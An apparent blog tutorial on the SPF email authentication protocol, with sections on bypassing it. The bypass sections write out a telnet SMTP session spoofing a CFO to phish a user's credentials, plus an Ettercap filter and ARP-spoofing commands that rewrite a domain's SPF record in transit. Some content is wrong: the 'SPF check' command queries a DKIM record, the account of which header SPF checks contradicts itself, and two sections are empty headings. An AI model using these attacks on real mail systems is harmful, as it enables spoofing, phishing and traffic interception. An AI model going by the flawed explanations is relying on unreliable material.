SPF Email Validation Protocol

Introduction

Quick overview of  SPF email validation protocol (Examples, Vulnerabilities).

SPF (Sender Policy Framework) is here to hardens your DNS servers and restricts who can send emails with your domain name.

The Sender Framework Policy preovides a list of IP addresses that are authorized to send email on behalf of the domain. It’s specifying a technical method to prevent sender address forgery.  This IP/Domain list is stored in the DNS records of the domain TXT record. Email providers that have SPF will lookup DNS records of the domain from where the email is claiming to be. It will compare that info with the originating IP address/email. If checks match, email will pass. If they don’t, email might be marked as spam, or rejected. SPF only checks the “From” part of the email.

Check domain SPF:

nslookup -type=txt <selector>._domainkey.<domain>

SPF Qualifiers (Actions)

We can use any mechanism with any of the four qualifiers:

• + for a PASS : allow all mail. This can be omitted; e.g., +mx is the same as mx
• ? for a NEUTRAL : all emails are accepted (e.g. ?all – no policy statement)
• ~ (tilde) for SOFTFAIL : emails are accepted / shown for the user, but marked with a warning as suspicious/spam (e.g. ~all – Allow mail whether or not it matches the parameters)
• – (minus) for HARDFAIL : all emails that are suspected to be forged or spam are rejected and not delivered (e.g. -all – allow only mail that matches one of the parameters)

SPF Mechanisms

>> all: Always matches. Usually set at the end.

• "v=spf1 mx -all" : Allow domain’s MXes to send mail for the domain, prohibit all others
• "v=spf1 -all" : The domain sends no mail at all.
• "v=spf1 +all" : The domain owner thinks that SPF is useless and/or doesn’t care.

SPF Modifiers

Vulnerability (ByPass/Get Around SPF)

SPF email validation protocol alone isn’t actually very helpful for protecting your domain from abuse. The biggest problem is that SPF bases its authentication decisions on a message header field that most humans never see, the Return-Path. That makes it way too easy for hackers to create messages that look legitimate but are fraudulent (because they are using someone else’s domain in the From field).

Simple Example (Office 365)

# telnet <mail server> 25

EHLO domainX.com
250-ESMTP Server Ready
MAIL FROM: <evil@domainX.com>
250 +OK Sender OK
RCPT TO: <target_user@target_domain.com> SIZE=43251
250 +OK Recipient OK
DATA
354 Start mail input, end with '<CR><LF>.<CR><LF>'

FROM: "Jack the CFO" <jack@target_domain.com>
TO: "target_user" <user@target_domain.com>
SUBJECT Important request
Please send me your user credentials, I forgot mine. P.S. Don't tell anyone. Thanks
.

Ronald Reagan Attack (Gmail’s SPF bypass)

ARP Spoofing (Behind enemy lines)

Address Resolution Protocol (ARP) is a protocol for mapping an IP address to a physical machine address (MAC – Media Access Control) that is recognized in the local network. ARP table/cache is used to maintain a correlation between MAC (Layer 2 address) and corresponding IP address (Layer 3 address). Re-check network layers (OSI Model) if you’re not familiar with them. With ARP Spoofing we’re broadcasting fake ARP information. The goal is to force DNS traffic to go through our computer (as a gateway), so we can alter traffic that goes through.

With this achieved, we can now use some tool (for instance Ettercap) to modify DNS response to fit our needs: telling the receiving mail server that any IP can send emails for a targeted <DOMAIN> (SPF=+all), resulting in a VALID SPF check. With Ettercap we can specify a filter (modifying the traffic):

if (ip.proto==UDP && udp.src==53 && search(DATA.data, "v=spf1 mx -all")) {
    replace("v=spf1 mx -all", "v=spf1 mx +all");
    msg("Mail Server Opened!");
}

Compile it using Etterfilter:

etterfilter myfilter.filter –o myfilter.ef

set the attack in place with the Ettercap:

ettercap –TqM arp:remote –F myfilter.ef /192.168.1.10-15/ /192.168.1.33/

With message “Mail Server Opened!”, go ahead and try to send an email via Telnet.

Conclusion

That’s it for now on SPF email validation protocol (Examples, Vulnerabilities). We’ll update/expand article later as we continue to cover related subject. Remember, the fact that you advertise an SPF record in no way obliges anyone else to honour it. It is up to the admins of any given mail server what email they choose to accept. So, don’t panic if some admin complains that your domain is sending them spam and you have the SPF record. They’re probably not checking SPF records. World is overflowing with lamers.

Check “Telnet Email Address Validation” for some examples on MX communication/responses, or DKIM for further improvements.

To work on:

• Read RFC4408: Sender Policy Framework (SPF) for Authorizing Use of Domains in E-Mail, Version 1
• Read RFC6652: Sender Policy Framework (SPF) Authentication Failure Reporting Using the Abuse Reporting Format
• Read RFC7208: Sender Policy Framework (SPF) for Authorizing Use of Domains in Email, Version 1 (update)
• Read RFC7372: Email Authentication Status Codes